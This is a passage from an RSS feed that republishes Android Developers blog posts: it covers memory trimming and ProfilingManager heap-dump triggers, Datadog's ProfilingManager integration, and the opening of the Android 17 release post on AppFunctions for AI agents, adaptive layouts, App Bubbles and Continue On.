     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Datadog delivers millions of in-depth performance insights with ProfilingManager]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog


  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Althoug...]]></description>
<link>https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:39 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/a/AVvXsEh92CmF7Hos-AKsEmr3k9Va10fhbed32pj4r9wxbUAlpyAIh2GV0KhvsRYzkmATQgflpHYdfAgdFkRfq1ki2G7ty5wKfzoaoyYknCOEjb6Auz7r0Zcfk0tR6VCX-3o3L9fpcs419uI5iNdBiOtno7ughGWD0SGJ5n3sfWPEB7ZJ9M_HQFDLhBQ_hv3HFQ8">
<p>Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog</p><p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA"><img alt="" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA=s16000"></a></div><br><br><p></p>

<p>
  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.
</p>

<p>Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the <em>why</em> behind a performance bottleneck.
</p>

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

<h3>The impact of ProfilingManager</h3><p>
  ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s1280/AANDDM_DataDog_Quote_01.png"><img alt="ProfilingManager is a highly performant solution for code-level insights.  Of the solutions we evaluated, it has the lowest runtime overhead,  gives deep visibility into Java, Kotlin, and C++ traces, and opens the door to gather memory profiles and system-level traces during critical moments like ANRs and out-of-memory (OOM) errors. Yi Lu, Senior Engineer at Datadog" border="0" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s16000/AANDDM_DataDog_Quote_01.png"></a></div><br><p><br></p>

For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

<h3>Solving the Android code-level visibility challenge</h3><p>
  Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.</p><div><span face='"Google Sans", sans-serif'><br></span></div><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o"><img alt="We realized that across our profiling features, performance profiling on mobile applications remained a blind spot. Teams could see that an Android user experienced a slow screen render or an ANR, but lacked the same code-level visibility they relied on for their backend services. - Bryan Antigua, Senior Product Manager at Datadog" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o=s16000"></a></div><br><br><p></p>

<p>
  To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.
</p>

<p>
  ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health. 
</p>

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:

<ul>
  <li>
    <strong>Granular session diagnostics:</strong> ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the <a href="https://ui.perfetto.dev/">Perfetto UI</a>. 
  </li>
  <li>
    <strong>Automated telemetry triggers:</strong> By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*xix6h8*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_APP_FULLY_DRAWN">APP_FULLY_DRAWN </a>signal, there are already plans to expand this observability to include <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1hl4p7n*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_ANR">ANR</a>, <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*8x3pd*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_OOM">OOM</a>, and <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1ezx2ma*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_COLD_START">COLD_START</a> triggers.</li>
  <li>
    <strong>Proactive trace snapshots:</strong> By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation. 
  </li>
  <li>
    <strong>Bottleneck detection at scale:</strong> Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
  </li>
  <li>
    <strong>System-enforced resource stability:</strong> The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
  </li>
  <li>
    <strong>On-device data controls:</strong> ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.</li>
</ul>

<h3>Processing millions of weekly profiles to optimize real-world apps</h3><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s3464/datadog-profiling-blogpost-final.png"><img border="0" data-original-height="1686" data-original-width="3464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s16000/datadog-profiling-blogpost-final.png"></a></div><i><div><i>An example of Datadog's time to initial display measurement with </i></div><div><i>stack sampling powered by ProfilingManager</i></div></i><br>Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. <span><span>Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. </span></span>Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.<br><br>The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices. <p></p><h3>Conclusion</h3><p>By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/overview">documentation</a>.</p>

<p>
  In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.
</p>

<p>
  To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit <a href="https://www.datadoghq.com/dg/real-user-monitoring/android-profiling/?utm_source=inbound&amp;utm_medium=corpsite-display&amp;utm_campaign=int-rum-ww-blog-announcement-announcement-androidprofilerblog2026">Datadog Mobile Real User Monitoring</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
